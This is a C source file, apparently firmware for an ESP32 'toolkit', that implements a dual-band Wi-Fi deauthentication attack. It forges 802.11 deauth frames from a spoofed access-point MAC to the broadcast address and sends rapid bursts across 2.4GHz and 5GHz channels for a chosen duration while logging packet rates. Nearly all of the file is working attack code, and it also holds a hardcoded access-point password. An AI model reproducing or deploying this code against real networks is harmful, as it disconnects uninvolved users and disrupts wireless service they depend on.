313 lines
9.1 KiB
C
313 lines
9.1 KiB
C
#include "deauth_engine.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_log.h"
|
|
#include "esp_timer.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/semphr.h"
|
|
#include <string.h>
|
|
|
|
static const char *TAG = "deauth_engine";
|
|
|
|
// Deauth frame structure
|
|
typedef struct {
|
|
uint8_t frame_ctrl[2];
|
|
uint8_t duration[2];
|
|
uint8_t da[6];
|
|
uint8_t sa[6];
|
|
uint8_t bssid[6];
|
|
uint8_t seq[2];
|
|
uint8_t reason[2];
|
|
} __attribute__((packed)) deauth_frame_simple_t;
|
|
|
|
// Global state
|
|
static volatile bool attack_running = false;
|
|
static deauth_target_t target_24ghz = {0};
|
|
static deauth_target_t target_5ghz = {0};
|
|
static uint32_t attack_duration = 0;
|
|
static uint32_t attack_start_time = 0;
|
|
static TaskHandle_t attack_task_handle = NULL;
|
|
static SemaphoreHandle_t attack_mutex = NULL;
|
|
|
|
// Get current time in seconds
|
|
static uint32_t get_time_sec(void) {
|
|
return (uint32_t)(esp_timer_get_time() / 1000000ULL);
|
|
}
|
|
|
|
// Fast deauth send
|
|
static inline void send_deauth_fast(uint8_t *ap_mac, uint16_t reason) {
|
|
static uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
|
|
|
deauth_frame_simple_t frame;
|
|
|
|
frame.frame_ctrl[0] = 0xC0;
|
|
frame.frame_ctrl[1] = 0x00;
|
|
frame.duration[0] = 0x00;
|
|
frame.duration[1] = 0x00;
|
|
|
|
memcpy(frame.da, broadcast, 6);
|
|
memcpy(frame.sa, ap_mac, 6);
|
|
memcpy(frame.bssid, ap_mac, 6);
|
|
|
|
frame.seq[0] = 0x00;
|
|
frame.seq[1] = 0x00;
|
|
frame.reason[0] = reason & 0xFF;
|
|
frame.reason[1] = (reason >> 8) & 0xFF;
|
|
|
|
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
|
}
|
|
|
|
// Aggressive deauth burst for one target
|
|
static uint32_t send_deauth_burst(deauth_target_t *target) {
|
|
if (!target->active) return 0;
|
|
|
|
static uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
|
|
uint32_t sent = 0;
|
|
|
|
// Set channel
|
|
esp_wifi_set_channel(target->channel, WIFI_SECOND_CHAN_NONE);
|
|
|
|
// Send burst of 10 frames with different reason codes
|
|
for (int i = 0; i < 10; i++) {
|
|
send_deauth_fast(target->bssid, reasons[i % 5]);
|
|
sent++;
|
|
}
|
|
|
|
return sent;
|
|
}
|
|
|
|
// Restore AP Mode
|
|
static void restore_ap_mode(void) {
|
|
ESP_LOGI(TAG, "Restoring AP mode...");
|
|
|
|
wifi_config_t ap_config = {
|
|
.ap = {
|
|
.ssid = "ESP32-C5-Toolkit",
|
|
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
|
.password = "h4ck3rm4n",
|
|
.channel = 1,
|
|
.max_connection = 4,
|
|
.authmode = WIFI_AUTH_WPA2_PSK,
|
|
.pmf_cfg = {.required = false},
|
|
},
|
|
};
|
|
|
|
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
|
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
|
}
|
|
|
|
// Dual-Band Attack Task
|
|
static void dual_band_attack_task(void *pvParameters) {
|
|
ESP_LOGI(TAG, "Dual-band deauth attack started");
|
|
|
|
if (target_24ghz.active) {
|
|
ESP_LOGI(TAG, "2.4GHz Target: %s | CH: %d", target_24ghz.ssid, target_24ghz.channel);
|
|
}
|
|
|
|
if (target_5ghz.active) {
|
|
ESP_LOGI(TAG, "5GHz Target: %s | CH: %d", target_5ghz.ssid, target_5ghz.channel);
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Duration: %lu seconds", attack_duration);
|
|
|
|
// Switch to STA only mode
|
|
ESP_LOGI(TAG, "Switching to STA mode (AP disabled)...");
|
|
esp_wifi_set_mode(WIFI_MODE_STA);
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
|
|
attack_start_time = get_time_sec();
|
|
target_24ghz.packets_sent = 0;
|
|
target_5ghz.packets_sent = 0;
|
|
uint32_t last_log_time = 0;
|
|
uint32_t cycle_count = 0;
|
|
|
|
ESP_LOGI(TAG, "Attack started - rapid band switching");
|
|
|
|
// MAIN ATTACK LOOP - Fast switching between bands
|
|
while (attack_running) {
|
|
uint32_t elapsed = get_time_sec() - attack_start_time;
|
|
|
|
// Check duration
|
|
if (elapsed >= attack_duration) {
|
|
ESP_LOGI(TAG, "Attack duration expired");
|
|
break;
|
|
}
|
|
|
|
// Attack 2.4GHz band (10 packets)
|
|
if (target_24ghz.active) {
|
|
uint32_t sent = send_deauth_burst(&target_24ghz);
|
|
target_24ghz.packets_sent += sent;
|
|
}
|
|
|
|
// Tiny delay for channel switch to settle
|
|
vTaskDelay(pdMS_TO_TICKS(5));
|
|
|
|
// Attack 5GHz band (10 packets)
|
|
if (target_5ghz.active) {
|
|
uint32_t sent = send_deauth_burst(&target_5ghz);
|
|
target_5ghz.packets_sent += sent;
|
|
}
|
|
|
|
// Minimal delay before next cycle
|
|
vTaskDelay(pdMS_TO_TICKS(5));
|
|
|
|
cycle_count++;
|
|
|
|
// Log every 2 seconds
|
|
if (elapsed - last_log_time >= 2) {
|
|
last_log_time = elapsed;
|
|
uint32_t remaining = attack_duration - elapsed;
|
|
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
|
float total_pps = (float)total_packets / (float)(elapsed > 0 ? elapsed : 1);
|
|
|
|
ESP_LOGI(TAG, "[%2lu/%2lu sec] Total: %6lu pkt | PPS: %4.0f | Remaining: %2lu sec",
|
|
elapsed, attack_duration, total_packets, total_pps, remaining);
|
|
}
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Dual-band attack completed");
|
|
|
|
uint32_t total_time = get_time_sec() - attack_start_time;
|
|
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
|
|
|
ESP_LOGI(TAG, "Statistics: Total packets: %lu, Total time: %lu seconds", total_packets, total_time);
|
|
|
|
attack_running = false;
|
|
|
|
// Restore AP mode
|
|
restore_ap_mode();
|
|
|
|
ESP_LOGI(TAG, "Ready for next attack");
|
|
|
|
attack_task_handle = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
// Start Dual-Band Attack
|
|
bool deauth_start_attack(deauth_target_t *target_24ghz_param, deauth_target_t *target_5ghz_param, uint32_t duration) {
|
|
if (attack_mutex == NULL) {
|
|
attack_mutex = xSemaphoreCreateMutex();
|
|
if (attack_mutex == NULL) {
|
|
ESP_LOGE(TAG, "Failed to create attack mutex");
|
|
return false;
|
|
}
|
|
}
|
|
|
|
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
|
return false;
|
|
}
|
|
|
|
if (attack_running) {
|
|
ESP_LOGW(TAG, "Attack already running");
|
|
xSemaphoreGive(attack_mutex);
|
|
return false;
|
|
}
|
|
|
|
// Reset targets
|
|
memset(&target_24ghz, 0, sizeof(target_24ghz));
|
|
memset(&target_5ghz, 0, sizeof(target_5ghz));
|
|
|
|
// Copy target data
|
|
if (target_24ghz_param && target_24ghz_param->active) {
|
|
memcpy(&target_24ghz, target_24ghz_param, sizeof(target_24ghz));
|
|
}
|
|
|
|
if (target_5ghz_param && target_5ghz_param->active) {
|
|
memcpy(&target_5ghz, target_5ghz_param, sizeof(target_5ghz));
|
|
}
|
|
|
|
if (!target_24ghz.active && !target_5ghz.active) {
|
|
ESP_LOGW(TAG, "No targets selected");
|
|
xSemaphoreGive(attack_mutex);
|
|
return false;
|
|
}
|
|
|
|
attack_duration = duration;
|
|
attack_running = true;
|
|
|
|
BaseType_t ret = xTaskCreate(dual_band_attack_task, "dual_attack", 8192, NULL, 5, &attack_task_handle);
|
|
if (ret != pdPASS) {
|
|
ESP_LOGE(TAG, "Failed to create attack task");
|
|
attack_running = false;
|
|
xSemaphoreGive(attack_mutex);
|
|
return false;
|
|
}
|
|
|
|
xSemaphoreGive(attack_mutex);
|
|
return true;
|
|
}
|
|
|
|
// Stop attack
|
|
bool deauth_stop_attack(void) {
|
|
if (attack_mutex == NULL) {
|
|
return false;
|
|
}
|
|
|
|
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
|
return false;
|
|
}
|
|
|
|
if (!attack_running) {
|
|
xSemaphoreGive(attack_mutex);
|
|
return false;
|
|
}
|
|
|
|
// Signal the attack to stop
|
|
attack_running = false;
|
|
|
|
// Get task handle while holding mutex (prevents race condition)
|
|
TaskHandle_t task_to_delete = attack_task_handle;
|
|
attack_task_handle = NULL; // Clear handle while mutex is held
|
|
|
|
// Release mutex before waiting for task to finish
|
|
// (task needs mutex to clean up properly)
|
|
xSemaphoreGive(attack_mutex);
|
|
|
|
// Wait for task to finish with timeout
|
|
int wait_count = 0;
|
|
while (task_to_delete != NULL && wait_count < 50) {
|
|
// Check if task still exists
|
|
eTaskState task_state = eTaskGetState(task_to_delete);
|
|
if (task_state == eDeleted || task_state == eInvalid) {
|
|
task_to_delete = NULL;
|
|
break;
|
|
}
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
wait_count++;
|
|
}
|
|
|
|
if (task_to_delete != NULL) {
|
|
ESP_LOGW(TAG, "Attack task didn't terminate cleanly, forcing delete");
|
|
// Suspend before deletion for safety
|
|
vTaskSuspend(task_to_delete);
|
|
vTaskDelay(pdMS_TO_TICKS(10));
|
|
vTaskDelete(task_to_delete);
|
|
restore_ap_mode();
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
// Check if attack is running
|
|
bool deauth_is_running(void) {
|
|
return attack_running;
|
|
}
|
|
|
|
// Get statistics
|
|
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time) {
|
|
if (total_packets) {
|
|
*total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
|
}
|
|
if (packets_24ghz) {
|
|
*packets_24ghz = target_24ghz.packets_sent;
|
|
}
|
|
if (packets_5ghz) {
|
|
*packets_5ghz = target_5ghz.packets_sent;
|
|
}
|
|
if (elapsed_time && attack_running) {
|
|
*elapsed_time = get_time_sec() - attack_start_time;
|
|
} else if (elapsed_time) {
|
|
*elapsed_time = 0;
|
|
}
|
|
}
|